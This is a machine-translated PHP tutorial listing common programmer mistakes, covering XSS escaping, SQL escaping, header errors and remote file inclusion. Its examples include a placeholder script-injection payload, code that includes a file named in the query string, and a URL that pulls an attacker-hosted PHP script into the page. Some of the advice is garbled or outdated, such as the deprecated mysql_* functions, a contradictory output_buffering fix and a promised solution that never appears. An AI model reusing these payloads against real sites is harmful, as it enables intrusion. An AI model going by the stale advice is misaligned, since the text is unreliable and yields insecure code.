Summary of the most common mistakes made by PHP programmers_PHP Tutorial

1. Don’t ignore html entities

A basic common sense: all untrusted input (especially data submitted by users from forms), before output To change your mind.

echo $_GET['usename'] ;

This example may output:

<script>/*Script to change admin password or set cookie*/</script>

This is an obvious security risk unless you ensure that your users are typing correctly.

How to fix:

We need to convert "", "and" etc. into the correct HTML representation (', and ") using the functions htmlspecialchars and htmlentities() This is exactly what it does.

The correct method:

echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. Do not ignore SQL input

I once discussed this issue in an article The Simplest Way to Prevent SQL Injection (in php+mysql) and gave a simple method. Someone said to me that they had set magic_quotes in php.ini. On, so don’t worry about this problem, but not all input is obtained from $_GET, $_POST or $_COOKIE!

How to fix:

And the easiest way to prevent sql injection (php +mysql) I still recommend using the mysql_real_escape_string() function

Correct approach:

<ol class="dp-xml">
<li class="alt"><span><strong><font color="#006699"><span class="tag"></span><span class="tag-name">php</span></font></strong><span> </span></span></li>
<li class="">
<span>$</span><span class="attribute"><font color="#ff0000">sql</font></span><span> = "UPDATE users SET  </span>
</li>
<li class="alt">
<span></span><span class="attribute"><font color="#ff0000">name</font></span><span>=</span><span class="attribute-value"><font color="#0000ff">'.mysql_real_escape_string($name).'</font></span><span> </span>
</li>
<li class="">
<span>WHERE </span><span class="attribute"><font color="#ff0000">id</font></span><span>=</span><span class="attribute-value"><font color="#0000ff">'.mysql_real_escape_string ($id).'</font></span><span>";  </span>
</li>
<li class="alt"><span>mysql_query($sql);  </span></li>
<li class="">
<span></span><span class="tag"><strong><font color="#006699">?></font></strong></span><span> </span>
</li>
</ol>

3. Incorrect use of HTTP-header related functions: header(), session_start(), setcookie()

Have you ever encountered this warning? "warning: Cannot add header information - headers already sent [....]

Every time a web page is downloaded from the server, the server's output is divided into two parts: the header and the body.

The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.

If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...

How to fix:

Make sure to call http-header related functions before outputting, and set output_buffering = Off.

4. Require or include files use unsafe data

Again: do not trust data that is not explicitly declared by yourself. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.

For example:

<ol class="dp-xml">
<li class="alt"><span><span>index.php  </span></span></li>
<li class="">
<span></span><span class="tag"></span><span> </span>
</li>
<li class="alt"><span>//including header, config, database connection, etc  </span></li>
<li class=""><span>include($_GET['filename']);  </span></li>
<li class="alt"><span>//including footer  </span></li>
<li class="">
<span></span><span class="tag">?></span><span> </span>
</li>
</ol>

Now any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt

to obtain your secrets information, or execute a PHP script.

If allow_url_fopen=On, you are doomed:

Try this input:

http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain. com%2Fphphack.php

Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.

How to fix:

You must control which files can be included in the include or require directives yourself.

Here's a quick but not comprehensive solution:

5. Grammar Errors

Grammar errors include all lexical and grammatical errors that are so common that I had to post them here List. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!

6. Little or no object-oriented use

Many projects do not use PHP’s object-oriented technology, and as a result, code maintenance becomes very time-consuming and labor-intensive. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technologies.

7. Not using a framework

95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are many MVC frameworks to help us complete this Four things, why don’t we use them?

8. Don’t know the functions already available in PHP

The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. Considering security, you can use EscapeShellCmd()

9. Using old versions of PHP

Many programmers are still using PHP4. Development on PHP4 cannot fully utilize the potential of PHP, and there are still some security issues hidden dangers. Switch to PHP5, it doesn't take a lot of effort. Most PHP4 programs can be migrated to PHP5 with few or even no changes to the statements. According to a survey by http://www.nexen.net, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.

10. Change the quotation marks twice

Have you ever seen 'or'" appear in web pages? This is usually because magic_quotes is set to off in the developer's environment, and magic_quotes =on on the deployed server. PHP will be used in GET, POST and COOKIE Repeat addslashes() on the data

Original text:

<ol class="dp-xml">
<li class="alt"><span><span>It's a string  </span></span></li>
<li class=""><span>magic quotes on :  </span></li>
<li class="alt"><span>It's a string  </span></li>
<li class=""><span>又运行一次  </span></li>
<li class="alt"><span>addslashes():  </span></li>
<li class=""><span>It\'s a string  </span></li>
<li class="alt"><span>HTML输出:  </span></li>
<li class=""><span>It's a string </span></li>
</ol>

还有一种PHP程序员最容易出现错误的情况就是，用户一开始输入了错误的登录信息，服务器检测到错误输入后，输出同样的form要求用户再次输入，导致用户的输入转意两次！

http://www.bkjia.com/PHPjc/446431.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/446431.htmlTechArticle1.不转意html entities 一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。 echo $_GET['usename'] ; 这个...